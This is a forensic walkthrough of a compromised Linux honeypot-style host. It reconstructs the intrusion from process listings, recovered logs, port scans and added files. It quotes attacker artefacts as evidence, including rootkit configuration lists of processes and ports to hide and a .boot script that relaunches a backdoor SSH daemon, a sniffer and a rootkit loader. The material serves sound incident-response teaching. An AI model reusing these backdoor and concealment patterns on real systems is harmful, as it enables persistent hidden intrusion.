initd 15119 root 7w REG 8,1 6 47416 /etc/opt/psybnc/psybnc.pid
initd 15119 root 8w REG 8,1 0 92098 /etc/opt/psybnc/log/USER1.TRL
initd 15119 root 9u sock 0,0 21710 can't identify protocol
initd 15119 root 10w REG 8,1 0 92099 /etc/opt/psybnc/log/USER2.TRL
initd 15119 root 11u IPv4 21714 UDP 192.168.1.79:1036->192.168.1.1:domain
This one is not like the others. It listens on two ports (TCP 65536 and 65436), uses log files in
/etc/opt/psybnc/log/ and has an active TCP connection (and a UDP DNS lookup).
Note that in the first lsof output, there were two other active connections also handled by this process :
initd 15119 root 9u IPv4 15909 TCP 192.168.1.79:1146->199.184.165.133:ircd (ESTABLISHED)
initd 15119 root 12u IPv4 16191 TCP 192.168.1.79:1149->64.62.96.42:ircd (ESTABLISHED)
They probably were lost due to timeout between the two lsof calls.
According to documents obtained from a Google search, PsyBNC appears to be an IRC bouncer : it proxies an IRC connection to IRC servers,
thus anonymizing the client users. The connections observed confirm that behaviour : there is one client connection (from 213.154.118.200) proxied to two IRC servers (199.184.165.133 and 64.62.96.42). This and the contents of the
/etc/opt/psybnc directory confirm that the 15119 process is indeed a real PsyBNC IRC bouncer.1.5 Open file descriptors
We will look at all the log files during the filesystem analysis, but there are a number of files
that might be difficult to retrieve later and that we should read now just in case : the deleted files
that show on the lsof output. As long as the process lives, we can access them though the
/proc/PID/fd directory. Let's look at their contents.
Here is the /var/log/httpd/error_log file :
[root@localhost root]# cat /proc/25239/fd/15
[Sun Aug 10 04:02:01 2003] [notice] Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b DAV/1.0.2 configured -- resuming normal operations
[Sun Aug 10 04:02:01 2003] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Sun Aug 10 13:16:27 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:16:37 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:23:17 2003] [error] [client 213.154.118.219] File does not exist: /var/www/html/sumthin
[Sun Aug 10 13:24:29 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[Sun Aug 10 13:32:38 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:32:38 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[Sun Aug 10 13:40:28 2003] [error] mod_ssl: Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.800 (System error follows)
[Sun Aug 10 13:40:28 2003] [error] System: No such file or directory (errno: 2)
[..snipped same last two errors repeated..]
[Sun Aug 10 15:52:09 2003] [error] mod_ssl: Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.800 (System error follows)
[Sun Aug 10 15:52:09 2003] [error] System: No such file or directory (errno: 2)
[Sun Aug 10 15:52:09 2003] [notice] caught SIGTERM, shutting down
The /var/log/httpd/ssl_engine_log is not very interesting, but here is the /var/log/httpd/access_log file :
[root@localhost root]# cat /proc/25239/fd/20
213.154.118.219 - - [10/Aug/2003:13:16:27 -0700] "GET / HTTP/1.1" 400 385 "-" "-"
213.154.118.219 - - [10/Aug/2003:13:16:37 -0700] "GET / HTTP/1.1" 400 385 "-" "-"
213.154.118.219 - - [10/Aug/2003:13:23:17 -0700] "GET /sumthin HTTP/1.0" 404 279 "-" "-"
All this gives us information on the initial attack. The first two requests look like a probe. The last one
has a known signature : a Google search leads to
this article
which says some OpenSSL attack tools check the server mod_ssl version using this kind of requests.1.6 Recovering log files
Last thing we can do on the live host is try to get some (deleted) logs back. Let's look at the lsof output for the syslogd process :
[root@localhost root]# usr/sbin/lsof -p 3247
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
syslogd 3247 root cwd DIR 8,1 4096 2 /
syslogd 3247 root rtd DIR 8,1 4096 2 /
syslogd 3247 root txt REG 8,1 26972 45303 /sbin/syslogd
syslogd 3247 root mem REG 8,1 485171 44656 /lib/ld-2.2.4.so
syslogd 3247 root mem REG 8,1 5772268 44650 /lib/i686/libc-2.2.4.so
syslogd 3247 root mem REG 8,1 261460 44690 /lib/libnss_files-2.2.4.so
syslogd 3247 root 0u unix 0xc008e5a0 7984 /dev/log
syslogd 3247 root 1w REG 8,1 6888 45307 /var/log/messages (deleted)
syslogd 3247 root 2w REG 8,1 179 46634 /var/log/secure
syslogd 3247 root 3w REG 8,1 17030 46901 /var/log/maillog
syslogd 3247 root 4w REG 8,1 3739 46902 /var/log/cron
syslogd 3247 root 5w REG 8,1 0 46903 /var/log/spooler
syslogd 3247 root 6w REG 8,1 676 46904 /var/log/boot.log
Here we can see that /var/log/messages was deleted, but we can still access it through /proc.
Let's see if there is anything interesting there :
[root@localhost root]# cat /proc/3247/fd/1
Aug 10 13:33:57 localhost syslogd 1.4.1: restart.
Aug 10 13:33:57 localhost syslog: syslogd startup succeeded
Aug 10 13:33:57 localhost kernel: klogd 1.4.1, log source = /proc/kmsg started.
Aug 10 13:33:57 localhost kernel: Inspecting /boot/System.map-2.4.7-10
Aug 10 13:33:57 localhost syslog: klogd startup succeeded
Aug 10 13:33:57 localhost kernel: Loaded 15046 symbols from /boot/System.map-2.4.7-10.
Aug 10 13:33:57 localhost kernel: Symbols match kernel version 2.4.7.
Aug 10 13:33:57 localhost kernel: Loaded 371 symbols from 10 modules.
Aug 10 13:33:57 localhost kernel: (swapd) uses obsolete (PF_INET,SOCK_PACKET)
Aug 10 13:33:57 localhost kernel: eth0: Promiscuous mode enabled.
Aug 10 13:33:57 localhost kernel: device eth0 entered promiscuous mode
Aug 10 13:33:57 localhost kernel: NET4: Linux IPX 0.47 for NET4.0
Aug 10 13:33:57 localhost kernel: IPX Portions Copyright (c) 1995 Caldera, Inc.
Aug 10 13:33:57 localhost kernel: IPX Portions Copyright (c) 2000, 2001 Conectiva, Inc.
Aug 10 13:33:57 localhost kernel: NET4: AppleTalk 0.18a for Linux NET4.0
Aug 10 13:33:32 localhost syslog: syslogd shutdown succeeded
Aug 10 13:33:33 localhost smbd -D[3137]: log: Server listening on port 2003.
Aug 10 13:33:33 localhost smbd -D[3137]: log: Generating 768 bit RSA key.
Aug 10 13:33:34 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 13:33:35 localhost smbd -D[3150]: error: bind: Address already in use
Aug 10 13:33:35 localhost smbd -D[3150]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 13:33:56 localhost smbd -D[3225]: error: bind: Address already in use
Aug 10 13:33:56 localhost smbd -D[3225]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 13:33:56 localhost syslog: klogd shutdown failed
Aug 10 13:33:57 localhost syslog: syslogd shutdown failed
Aug 10 14:13:47 localhost sshd: sshd -TERM failed
Aug 10 14:14:41 localhost smbd -D[5505]: log: Connection from 213.154.118.218 port 2020
Aug 10 14:14:42 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:14:44 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:14:52 localhost smbd -D[5505]: log: Password authentication for root failed.
Aug 10 14:14:58 localhost smbd -D[5505]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:14:58 localhost smbd -D[5505]: log: Password authentication for root failed.
Aug 10 14:15:14 localhost smbd -D[5505]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:15:14 localhost smbd -D[5505]: log: Password authentication for root failed.
Aug 10 14:15:17 localhost smbd -D[5505]: fatal: Connection closed by remote host.
Aug 10 14:17:08 localhost smbd -D[8170]: log: Connection from 213.154.118.218 port 2021
Aug 10 14:17:09 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:17:10 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:17:17 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:21 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:21 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:26 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:26 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:38 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:38 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:42 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:42 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:47 localhost smbd -D[8170]: fatal: Local: Too many password authentication attempts from extreme-service-10.is.pcnet.ro for user root.
Aug 10 14:17:51 localhost smbd -D[8935]: log: Connection from 213.154.118.218 port 2022
Aug 10 14:17:52 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:17:53 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:18:00 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:18:04 localhost smbd -D[8935]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:18:04 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:18:09 localhost smbd -D[8935]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:18:09 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:23:20 localhost smbd -D[8935]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:23:20 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:23:24 localhost smbd -D[8935]: fatal: Connection closed by remote host.
Aug 10 15:30:30 localhost kernel: eth0: Promiscuous mode enabled.
Aug 10 15:30:30 localhost modprobe: modprobe: Can't locate module ppp0
Aug 10 15:32:16 localhost kernel: eth0: Promiscuous mode enabled.
Aug 10 15:52:09 localhost smbd -D[14568]: error: bind: Address already in use
Aug 10 15:52:09 localhost smbd -D[14568]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 15:52:10 localhost httpd: httpd shutdown succeeded
Aug 10 15:52:11 localhost smbd -D[14629]: error: bind: Address already in use
Aug 10 15:52:11 localhost smbd -D[14629]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 15:52:12 localhost httpd: fopen: No such file or directory
Aug 10 15:52:12 localhost httpd: httpd: could not open error log file /etc/httpd/logs/error_log.
Aug 10 15:52:12 localhost httpd: httpd startup failed
Aug 10 15:54:18 localhost smbd -D[14663]: error: bind: Address already in use
Aug 10 15:54:18 localhost smbd -D[14663]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 15:54:18 localhost httpd: httpd shutdown failed
Aug 10 15:56:11 localhost su(pam_unix)[14689]: session opened for user root by (uid=0)
Aug 10 16:03:01 localhost su(pam_unix)[14689]: session closed for user root
Aug 10 16:04:38 localhost telnetd[15169]: ttloop: peer died: EOF
Looks like the attacker didn't start by redirecting /var/log/messages to /dev/null, and that
has been done much later. A lot of interesting information here : IP addresses, promiscuous mode (set at 13:33:57,
15:30:30 and 15:32:16) and "smbd -D" process
behaving much like an SSH server (note that the attacker seems to have problems logging in).
2. Perimeter analysis
Perimeter analysis will allow us to check that the information we gathered about open ports on the
compromised host is correct, by scanning the compromised host from another host.2.1 Setup
For this analysis, we run two concurrent VMWare virtual machines : one is our compromised host (reverted back to "original state" snapshot), and the other is a
Knoppix-STD
(a security-tools-oriented ready-to-run Linux CD distribution), all linked to the same closed VMWare virtual network
(/dev/vmnet2). So we create a new VMWare virtual machine, boot it on the Knoppix-STD CD-ROM and open a root shell.
2.2 Nmap
We use nmap to scan for open TCP ports on our compromised host :
[knoppix]# nmap -p 1-65535 192.168.1.179
Starting nmap V. 3.10ALPHA4 ( www.insecure.org/nmap/ )
Interesting ports on 192.168.1.79:
(The 65523 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
79/tcp open finger
80/tcp open http
113/tcp open auth
139/tcp open netbios-ssn
443/tcp open https
2003/tcp open cfingerd
3128/tcp open squid-http
65336/tcp open unknown
65436/tcp open unknown
Nmap run completed -- 1 IP address (1 host up) scanned in 37.547 seconds
This confirms what lsof reported on the compromised host, which means lsof-obtained information might be trusted.
2.3 Nessus
Now we run Nessus and see what servers it finds on the open TCP ports, and their known vulnerabilities. Here are the
interesting parts of the report :
. Vulnerability found on port ssh (22/tcp) :
You are running a version of OpenSSH which is older than 3.4
There is a flaw in this version that can be exploited remotely to give an attacker a shell on
this host. Note that several distribution patched this hole without changing the version number
of OpenSSH. Since Nessus solely relied on the banner of the remote SSH server to perform this
check, this might be a false positive.
If you are running a RedHat host, make sure that the command : rpm -q openssh-server
Returns : openssh-server-3.1p1-6
Solution : Upgrade to OpenSSH 3.4 or contact your vendor for a patch
Risk factor : High
CVE : CAN-2002-0639, CAN-2002-0640
BID : 5093
. Vulnerability found on port ssh (22/tcp) :
You are running a version of OpenSSH which is older than 3.1.
Versions prior than 3.1 are vulnerable to an off by one error that allows local users to gain
root access, and it may be possible for remote users to similarly compromise the daemon
for remote access. In addition, a vulnerable SSH client may be compromised by connecting to a
malicious SSH daemon that exploits this vulnerability in the client code, thus compromising the
client system.
Solution : Upgrade to OpenSSH 3.1 or apply the patch for
prior versions. (See: http://www.openssh.org)
Risk factor : High
CVE : CVE-2002-0083
BID : 4241
. Information found on port ssh (22/tcp)
Remote SSH version : SSH-1.99-OpenSSH_2.9p2
. Vulnerability found on port netbios-ssn (139/tcp) :
. It was possible to log into the remote host using a NULL session.
The concept of a NULL session is to provide a null username and a null password, which grants
the user the 'guest' access To prevent null sessions, see MS KB Article Q143474 (NT 4.0) and
Q246261 (Windows 2000). Note that this won't completely disable null sessions, but will
prevent them from connecting to IPC$
Please see http://msgs.securepoint.com/cgi-bin/get/nessus-0204/50/1.html
. All the smb tests will be done as ''/'whatever' in domain MGOP
CVE : CAN-1999-0504, CAN-1999-0506, CVE-2000-0222
BID : 990
. Vulnerability found on port netbios-ssn (139/tcp) :
The remote Samba server, according to its version number, may be vulnerable to a remote buffer
overflow when receiving specially crafted SMB fragment packets.
An attacker needs to be able to access at least one share to exploit this flaw.
Solution : upgrade to Samba 2.2.8
Risk factor : High
CVE : CAN-2003-0085, CAN-2003-0086
BID : 7106, 7107
. Vulnerability found on port netbios-ssn (139/tcp) :
The remote Samba server is vulnerable to a buffer overflow when it processes the function
trans2open(). An attacker may exploit this flaw to gain a root shell on this host.
Solution : upgrade to Samba 2.2.9
Risk factor : High
CVE : CAN-2003-0201
BID : 7294
. Information found on port cfingerd (2003/tcp)
A SSH server seems to be running on this port
. Information found on port squid-http (3128/tcp)
A SSH server seems to be running on this port
A few interesting things here : the servers listening on the TCP 2003 and 3128 ports are SSH servers,
and the OpenSSH/OpenSSL and Samba versions installed are full of various local and remote exploits,
making them easy targets. Now it's time to take down our compromised host and see what we can find inside.
3. Filesystem analysis
Filesystem analysis on the dead host will tell us what the filesystem really contains.
Given the really useful MD5sum list information,
we will be able to check for changed files, missing files and added files. Finally, we will
search the entire disk for interesting patterns in unallocated space.3.1 Setup
For this analysis, we revert back our compromised host to the "original state" VMWare snapshot, and we
power down the virtual machine (by clicking the virtual poweroff button). Then we run a Knoppix-STD
CD-ROM directly on the compromised host VM (by telling VMWare BIOS to boot on CD). This will allow us to
mount the disk read-only to perform our analysis.3.2 Reading interesting files
First, let's look at the files our live analysis pointed out.
[knoppix]# mount -o ro /dev/sda1 /mnt/sda1
[knoppix]# cat /etc/opt/psybnc/log/psybnc.log
Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port 65336
Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port -100
Sun Aug 10 16:02:46 :Can't create listening sock on host * port -200 (bind)
Sun Aug 10 16:02:46 :Loading all Users..
Sun Aug 10 16:02:46 :No Users found.
Sun Aug 10 16:02:46 :psyBNC2.3.1-cBtITLdDMSNp started (PID :15119)
Sun Aug 10 16:03:32 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:03:32 :New User:sic (wqewqde dedwqere) added by sic
Sun Aug 10 16:03:36 :User sic () has no server added
Sun Aug 10 16:04:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:04:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()
Sun Aug 10 16:04:47 :Hop requested by sic. Quitting.
Sun Aug 10 16:04:47 :User sic got disconnected from server.
Sun Aug 10 16:04:51 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:06:08 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:06:24 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:06:25 :User sic logged in.
Sun Aug 10 16:06:57 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:06:59 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:06:59 :User sic logged in.
Sun Aug 10 16:07:26 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:07:34 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:07:47 :User sic logged in.
Sun Aug 10 16:08:00 :User sic: cant connect to fairfax.va.us.undernet.org port 6667.
Sun Aug 10 16:08:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:08:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()
Sun Aug 10 16:11:30 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 17:49:41 :connect from sanido-08.is.pcnet.ro
Sun Aug 10 17:49:47 :User sic logged in.
Sun Aug 10 17:50:39 :New User:redcode (4,1redCode8Chicken) added by sic
Sun Aug 10 17:50:51 :User redcode () has no server added
Sun Aug 10 17:51:22 :connect from sanido-08.is.pcnet.ro
Sun Aug 10 17:51:22 :User redcode logged in.
Sun Aug 10 17:51:36 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 17:51:36 :User redcode () connected to mesa.az.us.undernet.org:6667 ()
Sun Aug 10 17:51:42 :User redcode () got disconnected (from mesa.az.us.undernet.org) [..snipped..] (Sorry, your connection class is full)
Sun Aug 10 17:52:06 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 17:52:06 :User redcode () connected to mesa.az.us.undernet.org:6667 ()
Sun Aug 10 18:00:49 :User redcode quitted (from sanido-08.is.pcnet.ro)
This is the psyBNC IRC bouncer log file. We can see that two users were created, sic and redcode, and that
they used the bouncer to connect to undernet.org IRC servers. We also learn the Internet addresses of these
users.
[knoppix]# cat /mnt/sda1/usr/lib/libice.log
proxyscan.undernet.org => 192.168.1.79 [23]
?k
[knoppix]# cat /mnt/sda1/lib/.x/s/mfs
============================================================
Time: Sun Aug 10 15:40:47 Size: 100
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------
============================================================
Time: Sun Aug 10 15:40:50 Size: 80
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------
============================================================
Time: Sun Aug 10 15:40:56 Size: 60
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------
============================================================
Time: Sun Aug 10 15:41:08 Size: 40
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------
============================================================
Time: Sun Aug 10 15:41:32 Size: 20
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------
============================================================
Time: Sun Aug 10 16:04:13 Size: 44
Path: proxyscan.undernet.org => 192.168.1.79 [23]
------------------------------------------------------------
k
These files are written by the "/usr/bin/(swapd)" and "/lib/.x/s/lfs" processes. They both seem to log information about
connections made on clear-text servers : on one log we see the trace of FTP (21) connections from the compromised host
to 63.99.224.38 and (in both logs) the trace of a connection from proxyscan.undernet.org to port 23 (Telnet).
[knoppix]# cat /mnt/sda1/lib/.x/install.log
#####################################################
# SucKIT version 1.3b by Unseen
This file was opened by one of the xopen instances. Some
research
reports that SucKIT is a widely-known (published in Phrack) kernel-level-rootkit. Kernel rootkits are much more
effective that system-command-level rootkits and much more difficult to detect. The log file seems to prove that
installation was unsuccessful, which is confirmed by our experience : we were easily able to circumvent the
trojaned commands (by installing a trusted lsof and looking at /proc) to get more information from the live system.
If a kernel-rootkit was fully in place, that would probably not have been possible.
3.3 Modified or missing files
Now we will use the md5sum list to check for modified and/or missing files.
We'll use md5sum '-c' option to check the filesystem
against the list, but we must first change the location of the files (now under /mnt/sda1). A simple Perl script
will help :
[knoppix]# mount -t minix /dev/fd0 /mnt/floppy
[knoppix]# cp linux-suspended-md5s.gz .
[knoppix]# gunzip linux-suspended-md5s.gz
[knoppix]# perl -ne '$_ =~ s: /: /mnt/sda1/:g; print "$_";' < linux-suspended-md5s > ready_to_check
[knoppix]# md5sum -c ready_to_check
We get different errors for modified files and missing files. Missing files are mostly log files,
probably deleted at some point by the attacker(s). As far as modified files are concerned, some of them are due to
normal behaviour : slocate database, log files, PIDs, random-seed. The others are more suspect :
/var/spool/anacron/cron.daily
/var/spool/anacron/cron.weekly
/etc/rc.d/init.d/functions
/etc/rc.d/rc.sysinit
/etc/mail/statistics
/etc/aliases.db
/etc/samba/secrets.tdb
/etc/httpd/conf/httpd.conf
/usr/bin/top
/bin/netstat
/bin/ls
/bin/ps
/sbin/ifconfig
Looking at the files, some of them (like aliases.db) appear to have been normally modified after the MD5sums were recorded, but
others were clearly modified by the attacker(s) : /etc/rc.d/init.d/functions has been modified to
reload (swapd) at boot, and top, netstat, ls , ps and ifconfig appear to have been trojaned. 'ls' has probably been
trojaned to hide some added files. Let's try to look for them now.
3.4 Recovering added files
We will use the md5sums file to generate an ordered list of what files were present on the disk at that time. Then we build
an ordered list of files currently on /mnt/sda1, and look at what was added between the two using 'diff' and only keeping lines beginning with '>'.
[knoppix]# perl -ne '/[^\/]*(\/.*)$/; print "/mnt/sda1$1\n";' < linux-suspended-md5s | sort > old_contents
[knoppix]# find /mnt/sda1 -type f -print | sort > new_contents
[knoppix]# diff old_contents new_contents | egrep '^>' > added_files
Finally, we determine for each file the date of last modification and owner ID, then sort the results.
[knoppix]# perl -ne '/^> (.*)$/; print `stat -c "%z %n (%u)" "$1"`;' < added_files | sort > sorted_added_files
Now we will look at the contents of the sorted_added_files resulting file. We cut the output in several parts to comment
each one separately.
[knoppix]# cat sorted_added_files
2003-08-09 14:34:43.000000000 -0700 /mnt/sda1/var/lock/subsys/netfs (0)
2003-08-09 14:34:44.000000000 -0700 /mnt/sda1/var/lock/subsys/identd (0)
2003-08-09 14:34:44.000000000 -0700 /mnt/sda1/var/run/identd.pid (0)
2003-08-09 14:34:46.000000000 -0700 /mnt/sda1/var/run/xinetd.pid (0)
2003-08-09 14:34:49.000000000 -0700 /mnt/sda1/var/lock/subsys/xinetd (0)
2003-08-09 14:34:54.000000000 -0700 /mnt/sda1/var/lock/subsys/smb (0)
2003-08-09 14:34:55.000000000 -0700 /mnt/sda1/var/lock/subsys/atd (0)
2003-08-09 14:34:55.000000000 -0700 /mnt/sda1/var/run/atd.pid (0)
These are files normally created by the host before any attack : locks and PIDs.3.5 Analysis of added files : attack phase 1
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/bin/crontabs (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/bin/logclear (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/bin/sl2 (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/bin/smbd -D (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/include/iceconf.h (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/include/icekey.h (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/include/icepid.h (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/lib/libshtift/ifconfig (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/lib/libshtift/ls (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/lib/libshtift/netstat (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/lib/libshtift/ps (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/lib/libshtift/top (0)
2003-08-10 13:33:35.000000000 -0700 /mnt/sda1/usr/bin/(swapd) (0)
2003-08-10 13:33:35.000000000 -0700 /mnt/sda1/usr/bin/x.pid (0)
2003-08-10 13:33:35.000000000 -0700 /mnt/sda1/usr/lib/libsss (0)
2003-08-10 13:33:57.000000000 -0700 /mnt/sda1/bin/pico (506)
2003-08-10 13:33:57.000000000 -0700 /mnt/sda1/dev/ttyoa (0)
2003-08-10 13:33:57.000000000 -0700 /mnt/sda1/dev/ttyof (0)
2003-08-10 13:33:57.000000000 -0700 /mnt/sda1/dev/ttyop (0)
2003-08-10 13:33:57.000000000 -0700 /mnt/sda1/usr/bin/sense (0)
2003-08-10 14:17:53.000000000 -0700 /mnt/sda1/usr/include/iceseed.h (0)
These are the files from the first phase : installation of the system-commands rootkit and of the "smbd -D"/(swapd) SSHd/sniffer at
13:33:35. Here are the contents of the /dev/ttyof and /dev/ttyop files :
[knoppix]# cat /mnt/sda1/dev/ttyof
psbnc
smbd
iceconf.h
icekey.h
icepid.h
uptime
startwu
r00t
[knoppix]# cat /mnt/sda1/dev/ttyop
3 swapd
3 psybnc
3 sl2
3 sl3
3 smbd
3 uptime
3 x2
3 startwu
3 scan
3 r00t
These are configuration files for the trojaned 'ps', 'top' and 'ls' commands : names of the processes and files to
hide in the output. This confirms our hypothesis that the genuine smbd process (PID 845) was hidden because 'ps' was
instructed to hide all smbd-named processes. Let's look now at /dev/ttyoa :
[knoppix]# cat /mnt/sda1/dev/ttyoa
1 213.233
1 24.104
1 217.10
1 216
1 193
1 209.118
3 10001
3 10002
3 13064
3 19
3 69
3 6667
4 10001
4 6667
4 10002
4 19
4 69
4 13064
This is the configuration file for the trojaned 'netstat' command : IP addresses and ports to
hide in the output.
3.6 Analysis of added files : attack phase 2
2003-08-10 15:30:30.000000000 -0700 /mnt/sda1/dev/hdx1 (0)
2003-08-10 15:30:30.000000000 -0700 /mnt/sda1/dev/hdx2 (0)
2003-08-10 15:30:54.000000000 -0700 /mnt/sda1/usr/lib/adore.o (0)
2003-08-10 15:30:54.000000000 -0700 /mnt/sda1/usr/lib/cleaner.o (0)
2003-08-10 15:30:54.000000000 -0700 /mnt/sda1/usr/lib/sp0 (48)
2003-08-10 15:30:54.000000000 -0700 /mnt/sda1/usr/lib/sp0_cfg (48)
2003-08-10 15:30:54.000000000 -0700 /mnt/sda1/usr/lib/sp0_key (48)
2003-08-10 15:30:54.000000000 -0700 /mnt/sda1/usr/lib/sp0_seed (48)
This is the second phase. It installs sp0, which appear to be another SSH server, and some .o files. Note that some files are still owned by UID 48, which is the Apache user on RedHat 7.2.
sp0 doesn't seem to have been run (no trace of a PID file, and it doesn't show in our perimeter analysis). Some research on adore.o shows it is a component of Adore, a kernel-level rootkit. We will try to determine later if it has been succesfully run.3.7 Analysis of added files : attack phase 3
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/cl (48)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/hide (48)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/inst (48)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/ip (0)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/log (48)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/s/lsn (0)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/s/s_h_k (0)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/s/s_h_k.pub (0)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/s/sshd_config (0)
2003-08-10 15:32:16.000000000 -0700 /mnt/sda1/etc/psdevtab (0)
2003-08-10 15:32:16.000000000 -0700 /mnt/sda1/lib/.x/sk (0)
2003-08-10 15:32:16.000000000 -0700 /mnt/sda1/lib/.x/s/port (0)
2003-08-10 15:32:16.000000000 -0700 /mnt/sda1/lib/.x/s/xopen (0)
2003-08-10 15:32:17.000000000 -0700 /mnt/sda1/lib/.x/.boot (48)
2003-08-10 15:32:17.000000000 -0700 /mnt/sda1/lib/.x/hide.log (0)
2003-08-10 15:32:17.000000000 -0700 /mnt/sda1/lib/.x/install.log (0)
2003-08-10 15:32:17.000000000 -0700 /mnt/sda1/lib/.x/s/pid (0)
This is the third phase. The xopen/lsn SSHd/sniffer was installed and run at 15:32:17. There are a few Apache-owned files here too. We previously saw that xopen tried,
apparently unsuccessfully, to install a sucKIT rootkit. We can learn something from the .boot file :
[knoppix]# cat /mnt/sda1/lib/.x/.boot
#!/bin/sh
SSHPORT=`cat /lib/.x/s/port`
IP=`cat /lib/.x/ip`
TIME=`date`
/lib/.x/s/xopen -q -p ${SSHPORT} >> /lib/.x/reboot.log
/lib/.x/s/lsn &
/lib/.x/sk p 1 >> /lib/.x/reboot.log
/lib/.x/sk f 1 >> /lib/.x/reboot.log
echo "###Host ${IP} went online on ${TIME}" >> /tmp/13996log
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog
echo "###SSHD backdoor port: ${SSHPORT}" >> /tmp/13996log
echo >> /tmp/13996maillog
